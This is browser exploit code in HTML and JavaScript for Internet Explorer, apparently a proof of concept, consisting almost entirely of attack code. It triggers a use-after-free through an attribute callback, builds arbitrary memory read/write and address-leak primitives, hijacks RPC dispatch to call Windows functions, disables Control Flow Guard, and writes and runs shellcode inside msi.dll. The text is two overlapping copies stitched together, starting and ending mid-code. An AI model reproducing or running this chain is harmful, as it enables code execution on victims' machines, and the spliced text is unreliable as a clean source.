size; ++i) write(dst + i, read(src + i, 8), 8) } function toStr(addr) { var str = '' while (true) { var c = read(addr, 8) if (c == 0) break str += String.fromCharCode(c) addr++ } return str } function newStr(str) { var buffer = createArrayBuffer(str.length + 1) for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8) write(buffer + i, 0, 8) return buffer } function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && isPE(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function isPE(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function winVer() { var appVersion = window.navigator.appVersion var ver = 0 if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) { ver = 100 } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) { ver = 81 } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) { ver = 80 } else { ver = 70 } return ver } function createArrayBuffer(size) { var ab = new ArrayBuffer(size) var bs = read(addrOf(ab) + 0x1c, 32) map.set(bs, ab) return bs } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) } function readyRpcCall(func) { var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation') var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo') var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable') write(RPC_DISPATCH_TABLE_Buffer, func, 32) } function setArgs(args) { var buffer = createArrayBuffer(48) for (var i = 0; i < args.length; ++i) { write(buffer + i * 4, args[i], 32) } _RPC_MESSAGE.set(msg, 'Buffer', buffer) _RPC_MESSAGE.set(msg, 'BufferLength', 48) _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000) return buffer } function callRpcFreeBufferImpl() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer) return call(rpcFree) } function callRpcFreeBuffer() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') var result = read(buffer, 32) callRpcFreeBufferImpl() return result } function call2(func, args) { readyRpcCall(func) var buffer = setArgs(args) call(msg) map.delete(buffer) return callRpcFreeBuffer() } function call(addr) { var result = 0 write(paoi + 0x18, addr, 32) try { xyz.normalize() } catch (error) { result = error.number } write(paoi + 0x18, patt, 32) return result } function prepareCall(addr, func) { var buf = createArrayBuffer(cattr.size()) var vft = read(patt, 32) memcpy(addr, patt, cbase.size()) memcpy(buf, vft, cattr.size()) cbase.set(addr, 'pvftable', buf) cattr.set(buf, 'normalize', func) } function createBase() { var isWin7 = winVer() == 70 var size = isWin7 ? 560 : 572 var offset = isWin7 ? 540 : 548 var addr1 = createArrayBuffer(size + cbase.size()) var addr2 = createArrayBuffer(48) write(addr1 + offset, addr2, 32) write(addr2 + 40, 8, 32) write(addr2 + 36, 8, 32) return { size: size, addr: addr1 } } function aos() { var baseObj = createBase() var addr = baseObj.addr + baseObj.size var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection') prepareCall(addr, I_RpcTransServerNewConnection) return read(read(call(addr)-0xf8, 32), 32) } function SymTab(size, sym) { this.size = function() { return size } this.set = function(addr, name, value) { var o = sym[name] write(addr + o.offset, value, o.size) } this.get = function(addr, name) { var o = sym[name] return read(addr + o.offset, o.size) } } function initRpc() { var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0] var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2') var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate') var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree') var RPCMessageObject = createArrayBuffer(cbase.size()) var buffer = createArrayBuffer(0x100) var buffer2 = createArrayBuffer(0x200) var AttributeVtable = read(patt, 32) var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size()) var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size()) var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size()) var rpcProcStringBuffer = createArrayBuffer(data.length) writeData(rpcProcStringBuffer, data) var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size()) var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size()) var NdrServerCall2Buffer = createArrayBuffer(4) write(NdrServerCall2Buffer, NdrServerCall2, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 0x40, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2) cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68) write(RPCMessageObject + 76, 1, 32) syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32)) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size()) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000) _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16) _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000) _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer) _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48) return RPCMessageObject } function rpcFree() { var Cbase = createArrayBuffer(cbase.size()) var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer') var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var AttributeVtable = read(patt, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 64, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer) cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer) cbase.set(Cbase, 'pSecurityContext', Cbase + 68) write(Cbase + 76, 1, 32) return Cbase } function CFGObject(baseAddress) { var PEAddr = isPE(baseAddress) var eat = PEAddr + 120 var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32) var size = read(LOAD_CONFIG_DIRECTORY, 32) var sizeOfImage = read(PEAddr + 0x50, 32) var CFGSymbolTable = new SymTab(0x5c, { '___guard_check_icall_fptr': { offset: 72, size: 32 } }) var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr') this.getCFGAddress = function() { return guard_check_icall_fptr_address } this.getCFGValue = function() { if (size < CFGSymbolTable.size()) return false var currentCFGValue = read(guard_check_icall_fptr_address, 32) var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage) return !isValidAddress; } } function killCfg(addr) { var cfgobj = new CFGObject(addr) if (!cfgobj.getCFGValue()) return var guard_check_icall_fptr_address = cfgobj.getCFGAddress() var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet') var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer]) write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer]) map.delete(tmpBuffer) } var cbase = new SymTab(0x60, { 'pvftable': { offset: 0x0, size: 32 }, 'pSecurityContext': { offset: 0x44, size: 32 } }) var cattr = new SymTab(0x32c, { '__vtguard': { offset: 0x48, size: 32 }, 'SecurityContext': { offset: 0xc8, size: 32 }, 'JSBind_TypeId': { offset: 0x160, size: 32 }, 'JSBind_InstanceOf': { offset: 0x164, size: 32 }, 'normalize': { offset: 0x28c, size: 32 } }) var syntaxObject = new SymTab(0x14, { 'SyntaxVersion.MajorVersion': { offset: 0x10, size: 16 } }) var PRPC_CLIENT_INTERFACE = new SymTab(0x44, { 'Length': { offset: 0, size: 32 }, 'InterfaceId.SyntaxVersion.MajorVersion': { offset: 20, size: 16 }, 'TransferSyntax.SyntaxVersion.MajorVersion': { offset: 40, size: 16 }, 'DispatchTable': { offset: 44, size: 32 }, 'InterpreterInfo': { offset: 60, size: 32 }, 'Flags': { offset: 64, size: 32 } }) var _MIDL_SERVER_INFO_ = new SymTab(0x20, { 'pStubDesc': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, 'ProcString': { offset: 8, size: 32 }, 'FmtStringOffset': { offset: 12, size: 32 } }) var _MIDL_STUB_DESC = new SymTab(0x50, { 'RpcInterfaceInformation': { offset: 0, size: 32 }, 'pfnAllocate': { offset: 4, size: 32 }, 'pfnFree': { offset: 8, size: 32 }, 'pFormatTypes': { offset: 32, size: 32 }, 'fCheckBounds': { offset: 36, size: 32 }, 'Version': { offset: 40, size: 32 }, 'MIDLVersion': { offset: 48, size: 32 }, 'mFlags': { offset: 64, size: 32 } }) var RPC_DISPATCH_TABLE = new SymTab(12, { 'DispatchTableCount': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, }) var _RPC_MESSAGE = new SymTab(0x2c, { 'Handle': { offset: 0, size: 32 }, 'DataRepresentation': { offset: 4, size: 32 }, 'Buffer': { offset: 8, size: 32 }, 'BufferLength': { offset: 12, size: 32 }, 'TransferSyntax': { offset: 20, size: 32 }, 'RpcInterfaceInformation': { offset: 24, size: 32 }, 'RpcFlags': { offset: 40, size: 32 } }) var god var arr = [{}] var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var alloc = alloc2() var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) ele.removeAttributeNode(att) hd0.nodeValue = alloc var leak = new Uint32Array(dump(hd2.nodeValue)) var pAbf = leak[6] var pArr = leak[10] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var bufArr = new Array(0x10) var fakeArr = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, bufArr[4])) setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i] fakeArr[4] = bs + 0x40 fakeArr[16] = vt fakeArr[17] = gc fakeArr[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10 write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32) var map = new Map() var jscript9 = getBase(read(addrOf(map), 32)) var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll') var msvcrt = getDllBase(jscript9, 'msvcrt.dll') var ntdll = getDllBase(msvcrt, 'ntdll.dll') var kernelbase = getDllBase(msvcrt, 'kernelbase.dll') var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect') var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA') var xyz = document.createAttribute('xyz') var paoi = addrOf(xyz) var patt = read(addrOf(xyz) + 0x18, 32) var osf_vft = aos() var msg = initRpc() var rpcFree = rpcFree() killCfg(rpcrt4) var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3]) var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000 var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer]) writeData(msi, shellcode) // mov eax, 0x1337 ; ret call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer]) var result = call2(msi, []) alert(result.toString(16)) </script> </body> </html>
<!doctype html> <html lang="en"> <head> <meta http-equiv="Cache-Control" content="no-cache"> </head> <body> <script language="javascript"> String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { return ('0000' + str).slice(-4) } function alloc1() { var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) var result = document.createAttribute('alloc') result.nodeValue = unescape(str) return result } function alloc2() { var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, arr) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 hd2 = hd1.cloneNode() } function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } function writeData(addr, data) { for (var i = 0; i < data.length; ++i) write(addr + i, data[i], 8) } function addrOf(obj) { arr[0] = obj return read(pArr, 32) } function strcmp(str1, str2) { str1 = (typeof str1 == 'string') ? str1 : toStr(str1) str2 = (typeof str2 == 'string') ? str2 : toStr(str2) return str1.toLowerCase() == str2.toLowerCase() } function memcpy(dst, src, size) { for (var i = 0; i < size; ++i) write(dst + i, read(src + i, 8), 8) } function toStr(addr) { var str = '' while (true) { var c = read(addr, 8) if (c == 0) break str += String.fromCharCode(c) addr++ } return str } function newStr(str) { var buffer = createArrayBuffer(str.length + 1) for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8) write(buffer + i, 0, 8) return buffer } function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && isPE(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function isPE(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function winVer() { var appVersion = window.navigator.appVersion var ver = 0 if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) { ver = 100 } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) { ver = 81 } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) { ver = 80 } else { ver = 70 } return ver } function createArrayBuffer(size) { var ab = new ArrayBuffer(size) var bs = read(addrOf(ab) + 0x1c, 32) map.set(bs, ab) return bs } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) } function readyRpcCall(func) { var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation') var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo') var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable') write(RPC_DISPATCH_TABLE_Buffer, func, 32) } function setArgs(args) { var buffer = createArrayBuffer(48) for (var i = 0; i < args.length; ++i) { write(buffer + i * 4, args[i], 32) } _RPC_MESSAGE.set(msg, 'Buffer', buffer) _RPC_MESSAGE.set(msg, 'BufferLength', 48) _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000) return buffer } function callRpcFreeBufferImpl() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer) return call(rpcFree) } function callRpcFreeBuffer() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') var result = read(buffer, 32) callRpcFreeBufferImpl() return result } function call2(func, args) { readyRpcCall(func) var buffer = setArgs(args) call(msg) map.delete(buffer) return callRpcFreeBuffer() } function call(addr) { var result = 0 write(paoi + 0x18, addr, 32) try { xyz.normalize() } catch (error) { result = error.number } write(paoi + 0x18, patt, 32) return result } function prepareCall(addr, func) { var buf = createArrayBuffer(cattr.size()) var vft = read(patt, 32) memcpy(addr, patt, cbase.size()) memcpy(buf, vft, cattr.size()) cbase.set(addr, 'pvftable', buf) cattr.set(buf, 'normalize', func) } function createBase() { var isWin7 = winVer() == 70 var size = isWin7 ? 560 : 572 var offset = isWin7 ? 540 : 548 var addr1 = createArrayBuffer(size + cbase.size()) var addr2 = createArrayBuffer(48) write(addr1 + offset, addr2, 32) write(addr2 + 40, 8, 32) write(addr2 + 36, 8, 32) return { size: size, addr: addr1 } } function aos() { var baseObj = createBase() var addr = baseObj.addr + baseObj.size var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection') prepareCall(addr, I_RpcTransServerNewConnection) return read(read(call(addr)-0xf8, 32), 32) } function SymTab(size, sym) { this.size = function() { return size } this.set = function(addr, name, value) { var o = sym[name] write(addr + o.offset, value, o.size) } this.get = function(addr, name) { var o = sym[name] return read(addr + o.offset, o.size) } } function initRpc() { var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0] var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2') var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate') var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree') var RPCMessageObject = createArrayBuffer(cbase.size()) var buffer = createArrayBuffer(0x100) var buffer2 = createArrayBuffer(0x200) var AttributeVtable = read(patt, 32) var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size()) var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size()) var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size()) var rpcProcStringBuffer = createArrayBuffer(data.length) writeData(rpcProcStringBuffer, data) var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size()) var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size()) var NdrServerCall2Buffer = createArrayBuffer(4) write(NdrServerCall2Buffer, NdrServerCall2, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 0x40, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2) cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68) write(RPCMessageObject + 76, 1, 32) syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32)) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size()) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000) _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16) _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000) _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer) _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48) return RPCMessageObject } function rpcFree() { var Cbase = createArrayBuffer(cbase.size()) var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer') var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var AttributeVtable = read(patt, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 64, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer) cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer) cbase.set(Cbase, 'pSecurityContext', Cbase + 68) write(Cbase + 76, 1, 32) return Cbase } function CFGObject(baseAddress) { var PEAddr = isPE(baseAddress) var eat = PEAddr + 120 var LOAD_CONFIG_DIRECTORY = 